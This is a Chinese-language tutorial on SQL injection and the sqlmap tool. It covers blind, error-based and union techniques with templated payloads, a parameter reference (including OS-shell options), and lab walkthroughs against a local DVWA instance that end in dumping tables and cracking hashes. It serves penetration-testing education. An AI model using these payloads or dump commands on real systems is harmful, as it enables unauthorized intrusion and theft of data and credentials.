简介
-
sqlmap
是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。 - 具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
- 支持
MySQL
,Oracle
,PostgreSQL
,Microsoft SQL Server
,Microsoft Access
,IBM DB2
,SQLite
,Firebird
,Sybase
和SAP MaxDB
等数据库的各种安全漏洞检测。
注入模式
基于布尔的盲注
- 没有显示位置,只显示页面返回是否正常。
- 即可以根据返回页面,判断条件真假的注入。
常用函数
-
EXISTS (string
subquery
)运算符,判断查询子句subquery
在数据库中是否有记录。 -
ASCII (string
str
) 函数,返回字符串str
第一个字符的ascii
码;若返回0
,则为空字符串。 -
SUBSTR (string
str
, numstart
, numlength
)函数,划分出第start
位开始,长度为length
的子串。
步骤
- 寻找注入点,判断注入类型。
- 判断数据库。
#判断数据库个数
#n为猜测的数据库个数
... AND ((SELECT COUNT(DISTINCT+table_schema)FROM information_schema.tables)>n);
#当前数据库名称
#c为猜测的ASCII码值,y为名称字符串偏移量
... AND (SELECT ascii(substr((SELECT database()),y,1))>c);
#所有数据库名称
#x为数据库偏移量,c为猜测的ASCII码值,y为库名偏移量
... AND (SELECT ASCII(SUBSTR((SELECT DISTINCT table_schema FROM information_schema.tables LIMIT x,1),y,1))>c);
DISTINCT ()语句,在大量返回语句中去重。
table_schema指代数据库名称,information_schema.tables包含了所有有关数据库的信息。
- 判断数据表。
#判断指定库中表的个数
#n为猜测的数据表个数,base_h为指定库的hex编码
... AND ((SELECT COUNT(DISTINCT+table_name)FROM information_schema.tables WHERE table_schema= base_h)>n);
#判断表名长度
#x为数据表偏移量,l为猜测表名长度,base_h为指定库的hex编码
... AND (LENGTH((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema=base_h LIMIT x,1))>l);
#判断表名字符
#x为数据表偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_h为指定库的hex编码
... AND (SELECT ASCII(SUBSTR((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema=base_h LIMIT x,1),y,1))>c);
- 判断列。
#判断指定表中列的个数
#n为猜测的列的个数,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND ((SELECT COUNT(DISTINCT+column_name)FROM information_schema.columns WHERE table_name=table_h AND table_schema= base_h)>n);
#判断列名长度
#x为列偏移量,l为猜测列名长度,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND (LENGTH((SELECT DISTINCT column_name FROM information_schema.columns WHERE table_name=table_h AND table_schema=base_h LIMIT x,1))>l);
#判断列名字符
#x为列偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND (SELECT ASCII(SUBSTR((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_name=table_h AND table_schema=base_h LIMIT x,1),y,1))>c);
- 判断数据。
#判断数据表中数据个数
#n为猜测的数据个数,base_n为数据库名,table_n为数据表名
... AND ((SELECT COUNT(*) FROM base_n.table_n)>n);
#判断字段长度
#x为字段偏移量,l为猜测字段长度,base_n为数据库名,table_n为数据表名,column_n为列名
... AND (LENGTH((SELECT column_n FROM base_n.table_n LIMIT x,1))>l);
#判断字段字符
#x为字段偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_n为数据库名,table_n为数据表名,column_n为列名
... AND (SELECT ASCII(SUBSTR((SELECT column_n FROM base_n.table_n LIMIT x,1),y,1))>c);
适用场景
- 没有数据输出点,仍有响应返回。
- 返回的响应可以判断是否注入成功,但不显示
sql
查询情况。
基于时间的盲注
- 是一种盲注的手法,提交对执行时间敏感的
sql
语句函数,通过执行时间的长短来判断是否执行成功。 - 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 通常来说,时间变长说明执行成功,时间很短说明注入失败。
常用函数
-
SLEEP
( intn
)执行后,延迟n
秒。 -
IF (
CONDITION
,TRUE
,FALSE
) 如果条件语句CONDITION
为真,执行TRUE
语句;反之,执行FALSE
语句。
步骤
- 寻找注入点,判断注入类型。
- 判断数据库。
#判断数据库个数
#n为猜测的数据库个数
... AND IF((SELECT COUNT(DISTINCT+table_schema)FROM information_schema.tables)>n,SLEEP(5),1);
#当前数据库名称
#c为猜测的ASCII码值,y为名称字符串偏移量
... AND IF((SELECT ASCII(substr((SELECT database()),y,1))>c),SLEEP(5),1);
#所有数据库名称
#x为数据库偏移量,c为猜测的ASCII码值,y为库名偏移量
... AND IF((SELECT ASCII(SUBSTR((SELECT DISTINCT table_schema FROM information_schema.tables LIMIT x,1),y,1))>c),SLEEP(5),1);
- 判断数据表。
#判断指定库中表的个数
#n为猜测的数据表个数,base_h为指定库的hex编码
... AND IF(((SELECT COUNT(DISTINCT+table_name)FROM information_schema.tables WHERE table_schema= base_h)>n),SLEEP(5),1);
#判断表名长度
#x为数据表偏移量,l为猜测表名长度,base_h为指定库的hex编码
... AND IF((LENGTH((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema=base_h LIMIT x,1))>l),SLEEP(5),1);
#判断表名字符
#x为数据表偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_h为指定库的hex编码
... AND IF((SELECT ASCII(SUBSTR((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema=base_h LIMIT x,1),y,1))>c),SLEEP(5),1);
- 判断列。
#判断指定表中列的个数
#n为猜测的列的个数,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND IF(((SELECT COUNT(DISTINCT+column_name)FROM information_schema.columns WHERE table_name=table_h AND table_schema= base_h)>n),SLEEP(5),1);
#判断列名长度
#x为列偏移量,l为猜测列名长度,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND IF((LENGTH((SELECT DISTINCT column_name FROM information_schema.columns WHERE table_name=table_h AND table_schema=base_h LIMIT x,1))>l),SLEEP(5),1);
#判断列名字符
#x为列偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND IF((SELECT ASCII(SUBSTR((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_name=table_h AND table_schema=base_h LIMIT x,1),y,1))>c),SLEEP(5),1);
- 判断数据。
#判断数据表中数据个数
#n为猜测的数据个数,base_n为数据库名,table_n为数据表名
... AND IF(((SELECT COUNT(*) FROM base_n.table_n)>n),SLEEP(5),1);
#判断字段长度
#x为字段偏移量,l为猜测字段长度,base_n为数据库名,table_n为数据表名,column_n为列名
... AND IF((LENGTH((SELECT column_n FROM base_n.table_n LIMIT x,1))>l),SLEEP(5),1);
#判断字段字符
#x为字段偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_n为数据库名,table_n为数据表名,column_n为列名
... AND IF((SELECT ASCII(SUBSTR((SELECT column_n FROM base_n.table_n LIMIT x,1),y,1))>c),SLEEP(5),1);
适用场景
- 没有数据输出点。
- 可以明显观察到页面返回时间。
基于报错注入
- 人为制造数据库报错,通过返回的错误信息,得到数据库相关信息。
- 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
常用函数
-
CONCAT ( string
str1
, stringstr2
, … ) 将若干个字符串拼接。 -
RAND (int
seed
)当种子为空时,返回一个0
到1
的随机小数。 -
FLOOR (int
number
)返回小于或者等于数字num
的最大整数值(向下取整)。 -
GROUP BY int
key1
,key2
, …将查询结果按照关键词key
依次分组(去重)。 -
UpdateXML (string
XML_target
, stringXpath_expr
, stringnew_XML
)XML_target
为XML
文档对象的名称,Xpath_expr
为Xpath
格式的表达式,new_XML
用来替换匹配到的数据。即在XML_target
中匹配符合Xpath_expr
的数据,替换为new_XML
。 -
ExtractValue (string
XML_frag
, stringXpath_expr
)第一个参数可以传入目标xml
文档,第二个参数是用Xpath
路径法表示的查找路径。
报错方法
FLOOR+RAND+GROUP BY
FLOOR()
和RAND()
联合产生01
序列组,GROUP BY
在分组时会建立一个虚拟表,将数据依次加载到虚拟表中(首次出现则创建,否则累加)。- 当虚拟表中还未加入
NUM 1
,假设某条数据为1
,其下一条为0
;GROUP BY
查询1
不在虚拟表中,于是创建一个分组;此时FLOOR()
和RAND()
再次执行,NUM
变为0
,加入到表中与第一个0
分组冲突,从而报错。
Payload
#NUM为01序列的名称
#RAND的种子可以自定义,可以选择一个固定报错的种子
SELECT COUNT(*),FLOOR(RAND(0)*2)NUM FROM information_schema.tables GROUP BY NUM;
UPDATEXML
- 构造
Xpath
时,使用不合法的格式,从而报错。
Payload
#第一个和第三个参数任意
#~是不符合Xpath语法的,这里会报错
#DATABASE()可以换成你需要的参数,报错时会输出
SELECT UPDATEXML(1,CONCAT('~',DATABASE()),1);
EXTRACTVALUE
- 类似
UPDATEXML
,同样对Xpath
进行修改,导致报错。
Payload
#与UPDATEXML不同,这里只有两个参数,第一个参数任意
SELECT EXTRACTVALUE(1,CONCAT('~',DATABASE()));
适用场景
- 没有数据回显点,页面返回报错信息。
联合查询注入
- 即可以使用
UNION
的情况下的注入。
适用场景
- 需要多条查询返回结果。
-
UNION
不被禁止。
堆查询注入
- 可以同时执行多条语句的执行时的注入。
- 和联合查询注入不同的是,堆查询注入的操作任意,不局限于查询,可以增删查改。
适用场景
- 局限性非常大,连
DVWA
靶场都不行。
功能
Options参数
参数 | 功能 |
-h | 查看基本参数信息 |
-hh | 查看所有参数信息 |
–version | 查看版本号 |
-v VERBOSE | 指定输出等级 |
输出等级一共有7个级别
0:只显示
Python
的tracebacks
信息、错误信息[ERROR]
和关键信息[CRITICAL]
1:同时显示普通信息
[INFO]
和警告信息[WARNING]
2:同时显示调试信息
[DEBUG]
3:同时显示注入使用的攻击荷载
4:同时显示
HTTP
请求5:同时显示
HTTP
响应头6:同时显示
HTTP
响应体
Target参数
- 必须至少提供其中一个选项来定义目标。
参数 | 功能 |
-u URL | 指定存在查询的 |
-g GOOGLEDORK | 指定使用谷歌查询技巧得到的 |
-d DIRECT | 直接连接数据库 |
-l LOGFILE | 从 |
-r REQUESTFILE | 从文件中载入 |
-c CONFIGFILE | 从 |
Request参数
- 这些选项可用于指定如何连接到目标
URL
。
参数 | 功能 |
-A AGENT | 载入 |
-H HEADER | 载入 |
–data=DATA | 通过 |
–cookie=COOKIE | 载入 |
–method=METHOD | 强行使用给定的 |
–cookie-del=COOKIE-DEL | 设置用于划分 |
–drop-set-cookie | 忽略响应的 |
–random-agent | 使用随机选定的 |
–referer=REFERER | 设置 |
–proxy=PROXY | 使用 |
–ignore-proxy | 忽略系统默认的 |
–delay=DELAY | 在每个 |
–timeout=TIMEOUT | 连接超时的时间 |
–retries=RETRIES | 连接超时后重新连接的时间 |
Optimization参数
- 这些选项可用于优化
sqlmap
的性能。
参数 | 功能 |
-o | 开启所有优化 |
-–predict-output | 预测常见的查询输出 |
-–keep-alive | 使用持久的 |
–null-connection | 从没有实际的 |
–threads=THREADS | 最大的 |
Injection参数
- 这些选项可用于指定要测试的参数、提供自定义注入
Payload
和可选篡改脚本。
参数 | 功能 |
-p TESTPARAMETER | 可测试的参数 |
–dbms=DBMS | 强制后端的 |
–os=OS | 强制后端的 |
–prefix=PREFIX | 注入 |
–suffix=SUFFIX | 注入 |
–tamper=TAMPER | 使用给定的脚本篡改注入数据 |
Detection参数
- 这些选项可用于自定义检测阶段。
参数 | 功能 |
–level=LEVEL | 执行测试的等级 |
–risk=RISK | 执行测试的风险 |
–string=STRING | 查询有效时在页面匹配字符串 |
–regexp=REGEXP | 查询有效时在页面匹配正则表达式 |
–text-only | 仅基于文本内容比较页面 |
–smart | 仅当探索为真时才执行彻底的测试 |
Techniques参数
- 这些选项可用于调整特定
SQL
注入技术的测试。
参数 | 功能 |
–technique=TECH |
|
–time-sec=TIMESEC |
|
–union-cols=UCOLS | 定列范围用于测试 |
–union-char=UCHAR | 用于暴力猜解列数的字符 |
Fingerprint参数
参数 | 功能 |
-f | 执行检查广泛的 |
Enumeration参数
- 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。
参数 | 功能 |
-b | 检索数据库管理系统的标识 |
–current-user | 检索数据库管理系统当前用户 |
–current-db | 检索数据库管理系统当前数据库 |
–is-dba | 检测 |
–users | 枚举数据库管理系统用户 |
–passwords | 枚举数据库管理系统用户密码哈希 |
–privileges | 枚举数据库管理系统用户的权限 |
–roles | 枚举数据库管理系统用户的角色 |
–dbs | 枚举数据库管理系统数据库 |
-D DBname | 要进行枚举的指定数据库名 |
-T TBLname | 要进行枚举的指定数据库表 |
-C COL | 要进行枚举的数据库列 |
-U USER | 用来进行枚举的数据库用户 |
–tables | 枚举 |
–columns | 枚举 |
–dump | 转储数据库管理系统的数据库中的表项 |
–dump-all | 转储所有的 |
–search | 搜索列,表和/或数据库名称 |
–exclude-sysdbs | 枚举表时排除系统数据库 |
–start=LIMITSTART | 第一个查询的位置 |
–stop=LIMITSTOP | 最后查询的位置 |
–first=FIRSTCHAR | 第一个查询输出字的字符检索 |
–last=LASTCHAR | 最后查询的输出字字符检索 |
–sql-query=QUERY | 要执行的 |
–sql-shell | 提示交互式 |
Brute force参数
- 这些选项可以被用来运行暴力破解。
参数 | 功能 |
–common-tables | 检查共同表的存在性 |
–common-columns | 检查共同列的存在性 |
–common-files | 检查共同文件的存在性 |
Operating System Access参数
- 这些选项可以用于访问后端数据库管理系统的底层操作系统。
参数 | 功能 |
–os-cmd=OSCMD | 执行操作系统命令 |
–os-shell | 交互式的操作系统的 |
–os-pwn | 获取一个 |
–os-smbrelay | 一键获取一个 |
–os-bof | 存储过程缓冲区溢出利用 |
–priv-esc | 数据库进程用户权限提升 |
–tmp-path=TMPPATH | 远程临时文件目录的绝对路径 |
General参数
- 这些选项可以用来设置一些一般的工作参数。
参数 | 功能 |
–t TRAFFICFILE | 记录所有 |
–s SESSIONFILE | 保存和恢复检索会话文件的所有数据 |
–flush-session | 刷新当前目标的会话文件 |
–fresh-queries | 忽略在会话文件中存储的查询结果 |
–eta | 显示每个输出的预计到达时间 |
–update | 更新 |
–save=SAVECONFIG | 保存选项到 |
–batch | 从不询问用户输入,使用所有默认配置 |
实例
GET参数
- 这里使用
Windows
本地靶场DVWA
的SQL Injection
,在Kali
虚拟机进行扫描。
原始Payload
- 直接扫描
URL
。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#"
- 由于
DVWA
需要登录,Kali
是没有Windows
登录账号的COOKIE
的,故上方Payload
扫描不出任何漏洞。 - 所以在
Windows
抓包后,将COOKIE
加入Payload
。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="{COOKIE}"
#输出
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
#布尔盲注
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 4938=4938#&Submit=Submit
#报错注入
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x71626b7671,(SELECT (ELT(2858=2858,1))),0x71627a7071),2858)-- qDrZ&Submit=Submit
#时间盲注
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 9237 FROM (SELECT(SLEEP(5)))RCwq)-- pggr&Submit=Submit
#联合注入
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x71626b7671,0x6b786657706745717a444d55656a69786e70704f4143586874496741624c4444454350617159755a,0x71627a7071)#&Submit=Submit
---
指定参数
- 发现此处有两个参数,真正可能存在注入漏洞的只有一个,故可以使用
-p
指定参数进行扫描。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="{COOKIE}" -p "id"
POST参数
- 因为使用的是
POST
提交,故给出的URL
不必包含注入点。
原始Payload
- 在
--data
中将POST
参数加入,默认以&
连接。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/" --data="id=1&Submit=Submit"
参数分割
- 参数默认以
&
分割,但仍可以自定义。
#设置';'为POST参数分隔符
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/" --data="id=1;Submit=Submit" --param-del=";"
文件载入
SQLMAP
的载入文件主要使用两种方式:
-
request
请求文件 -
log
记录文件
request文件
- 将
Burp Suite
抓包的报文保存为一个txt
文件,下列为我自己抓的包。
POST /dvwa-master/vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.0.102
Content-Length: 18
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.102
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.102/dvwa-master/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=medium; PHPSESSID=k7f5971ml3cpb85u4vrvt6d9d9
Connection: close
id=1&Submit=Submit
- 将报文保存为
request.txt
后,得到Payload
。
sqlmap -r request.txt
log文件
- 在
Burp Suite
>>Project Options
>>Misc
>>Logging
中的Proxy
栏勾选Request
即可生成log
文件。
sqlmap -l log.txt
拖库
-
SQL
注入成功后,从数据库中导出数据 。
步骤
- 查看所有数据库。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
- 选定需要拖的数据库,并显示该数据库中的数据表。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -D "{DATABASE-NAME}" --tables
- 选定需要拖的数据表,并显示该数据库中的列。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -D "{DATABASE-NAME}" -T "{TABLE_NAME}" --columns
- 选定需要拖的列,并开始拖库。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -D "{DATABASE-NAME}" -T "{TABLE-NAME}" -C "{COLUMN-NAME}" --dump
SQLMAP
很贴心的给了哈希密码的破解,可用于获得明文密码。